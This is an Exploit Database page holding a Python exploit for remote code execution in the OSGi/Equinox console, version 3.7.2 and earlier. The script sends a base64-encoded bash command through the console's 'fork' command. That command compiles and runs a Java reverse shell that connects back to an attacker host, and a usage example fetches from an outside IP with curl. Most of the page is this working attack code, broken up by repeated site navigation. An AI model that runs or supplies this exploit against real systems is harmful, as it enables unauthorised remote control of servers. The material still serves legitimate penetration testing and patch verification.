



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

OSGi v3.7.2 (and below) Console - RCE

EDB-ID:

51879

CVE:

N/A

EDB Verified: ✘

Author:

[ANDRZEJ OLCHAWA, MILENKO STARCIK](#)

Type:

[WEBAPPS](#)

Exploit:   / 

Platform:

[MULTIPLE](#)

Date:

2024-03-12

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
#!/usr/bin/python

# Exploit Title: [OSGi v3.7.2 Console RCE]
# Date: [2023-07-28]
# Exploit Author: [Andrzej Olchawa, Milenko Starcik,
#                 VisionSpace Technologies GmbH]
# Exploit Repository:
#                 [https://github.com/visionspacetec/offsec-osgi-exploits.git]
# Vendor Homepage: [https://eclipse.dev/equinox]
# Software Link: [https://archive.eclipse.org/equinox/]
# Version: [3.7.2 and before]
# Tested on: [Linux kali 6.3.0-kali1-amd64]
# License: [MIT]
#
# Usage:
# python exploit.py --help
#
# Examples:
# python exploit.py --rhost=localhost --rport=1337 --lhost=localhost \
#   --lport=4444
#
# python exploit.py --rhost=localhost --rport=1337 --payload= \
#   "curl http://192.168.100.100/osgi_test"

"""
This is an exploit that allows to open a reverse shell connection from
the system running OSGi v3.7.2 and earlier.
"""

import argparse
import base64
import socket

def parse():
    """
    This fnction is used to parse and return command-line arguments.
    """

    parser = argparse.ArgumentParser(
        prog="OSGi-3.7.2-console-RCE",
        description="This tool will let you open a reverse shell from the "
        "system that is running OSGi with the '-console' "
        "option in version 3.7.2 (or before).",
        epilog="Happy Hacking! :)",
    )

    parser.add_argument("--rhost", dest="rhost",
                        help="remote host", type=str, required=True)
    parser.add_argument("--rport", dest="rport",
                        help="remote port", type=int, required=True)
    parser.add_argument("--lhost", dest="lhost",
                        help="local host", type=str, required=False)
    parser.add_argument("--lport", dest="lport",
                        help="local port", type=int, required=False)
    parser.add_argument("--payload", dest="custom_payload",
                        help="custom payload", type=str, required=False)
    parser.add_argument("--version", action="version",
                        version="%s 0.1.0")

    args = parser.parse_args()

    if args.custom_payload and (args.lhost or args.lport):
        parser.error(
            "either --payload or both --lport and --rport are required.")

    return args
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

def generate_payload(lhost, lport, custom_payload):
    """
    This function generates the whole payload ready for the delivery.
    """

    payload = ""

    if custom_payload:
        payload = custom_payload

        print("(*) Using custom payload.")
    elif lhost and lport:
        payload = \
            "echo 'import java.io.IOException;import java.io.InputStream;"
        \
            "import java.io.OutputStream;import java.net.Socket;class Rev"
        \
            "Shell {public static void main(String[] args) throws Excepti"
        \
            "on { String host=\"%s\";int port=%s;String cmd=\"sh\";Proces"
        \
            "s p=new ProcessBuilder(cmd).redirectErrorStream(true).start("
        \
            ");Socket s=new Socket(host,port);InputStream pi=p.getInputSt"
        \
            "ream(),pe=p.getErrorStream(), si=s.getInputStream();OutputSt"
        \
            "ream po=p.getOutputStream(), so=s.getOutputStream();while(!s"
        \
            ".isClosed()){while(pi.available(>0)so.write(pi.read());whil"
        \
            "e(pe.available(>0)so.write(pe.read());while(si.available(>"
        \
            "0)po.write(si.read());so.flush();po.flush();Thread.sleep(50)"
        \
            ";try {p.exitValue();break;}catch (Exception e){}};p.destroy("
        \
            ");s.close();}}' > RevShell.java ; java ./RevShell.java" % (
                lhost, lport)

        print("(+) Using Java reverse shell payload.")

    bash_payload = b"bash -c {echo,%s}|{base64,-d}|{bash,-i}" % (
        base64.b64encode(payload.encode()))

    wrapped_payload = b"fork \"%s\"\n" % (bash_payload)

    return wrapped_payload

def deliver_payload(rhost, rport, payload):
    """
    This function connects to the target host and delivers the payload.
    It returns True if successful; False otherwise.
    """

    print("(*) Sending payload...")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((rhost, rport))
        sock.send(payload)
        sock.close()
    except socket.error as err:
        print(f"(-) Could not deliver the payload to {rhost}:{rport}!")
        print(err)
        return False

```

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

```

return True

def main(args):
    """
    Main function.
    """

    payload = generate_payload(args.lhost, args.lport, args.custom_payload)

    success = deliver_payload(args.rhost, args.rport, payload)
    if success:
        print("(+) Done.")
    else:
        print("(-) Finished with errors.")

if __name__ == "__main__":
    main(parse())

```

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.